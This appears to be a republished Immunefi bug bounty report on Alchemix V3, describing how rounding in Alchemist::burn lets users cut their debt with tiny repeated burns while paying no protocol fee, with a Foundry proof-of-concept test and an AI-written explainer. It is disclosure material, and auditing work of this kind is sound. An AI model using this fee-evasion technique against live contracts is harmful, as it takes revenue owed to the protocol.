The Alchemist::burn function experiences precision loss, resulting in the avoidance of protocol fees
The burn function in the Alchemist contract calculates the protocol fee by multiplying the converted debt amount by the fee rate and dividing by the basis points, which rounds down to zero for small burn amounts. An attacker can repeatedly burn tiny amounts of debt to reduce their debt without ever paying the protocol fee, effectively stealing the fees owed.
Originally disclosed on Immunefi
- Disclosed after under an hour
58323 sc critical the alchemist burn function experiences precision loss resulting in the avoidance of protocol fees
Submitted on Nov 1st 2025 at 09:18:15 UTC by @pashap9990 for Audit Comp | Alchemix V3
- Report ID: #58323
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol
- Impacts:
- Theft of unclaimed yield
Description
Finding Description and Impact
CDP holders can reduce their debt through Alchemist::burn. Furthermore, they are required to remit a fee to the protocol, which is deducted from their collateral. However, CDP holders can evade paying fees to the protocol, resulting in the theft of fees due to precision losses.
Code snippet
Textual PoC
Suppose mtoken --> debt token rate is 1:1 and the protocol fee is 100 [1%].
- User A deposits 100e18 mToken as collateral and gets 50e18 alToken as debt.
- User A calls
Alchemist::burnwith 10 as the debt amount in the next block.
_accounts[recipientId].collateralBalance -= convertDebtTokensToYield(credit) * protocolFee / BPS;
10 * 100 / 10_000 = 0.1 --> which rounds down to zero
It's evident that the user's debt decreased, whereas the user didn't pay any fee.
Proof of Concept
Proof of Concept
Kindly incorporate the following PoC in Alchemist.t.sol
function testBurnFunctionSufferFromPrecisionLoss() external {
uint256 amount = 100e18;
vm.startPrank(address(0xbeef));
SafeERC20.safeApprove(address(vault), address(alchemist), amount + 100e18);
alchemist.deposit(amount, address(0xbeef), 0);
// a single position nft would have been minted to 0xbeef
uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
alchemist.mint(tokenId, amount / 2, address(0xbeef));
vm.roll(block.number + 1);
SafeERC20.safeApprove(address(alToken), address(alchemist), amount);
(uint256 beforeCollateral, uint256 beforeUserDebt,) = alchemist.getCDP(tokenId);
uint i = 0;
while(i < 1000){
alchemist.burn(10, tokenId);
i++;
}
vm.stopPrank();
(uint256 afterCollateral, uint256 afterUserDebt,) = alchemist.getCDP(tokenId);
assertEq(beforeCollateral, afterCollateral);
assertLe(afterUserDebt, beforeUserDebt);
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the fee calculation performs integer division that truncates to zero for small burn amounts, without enforcing a minimum fee or rounding up.
Impact
The protocol loses fee revenue because CDP holders can reduce their debt without paying the required fee, as demonstrated by the PoC showing unchanged collateral and reduced debt after many small burns.
What the attacker needed
A CDP position with collateral and debt; ability to call burn repeatedly
How it was found
- Deposit collateral and mint a debt position.
- Advance the block number.
- Repeatedly call burn with a very small debt amount.
- Observe that collateral balance is unchanged and debt is reduced.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you repay a loan on this platform, a small fee is taken from your collateral. The code calculates that fee by multiplying the repayment amount by a percentage, but if the repayment is very small, the result is less than one unit and gets rounded down to zero. By making many tiny repayments, a user can avoid paying any fee at all while still reducing their debt.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.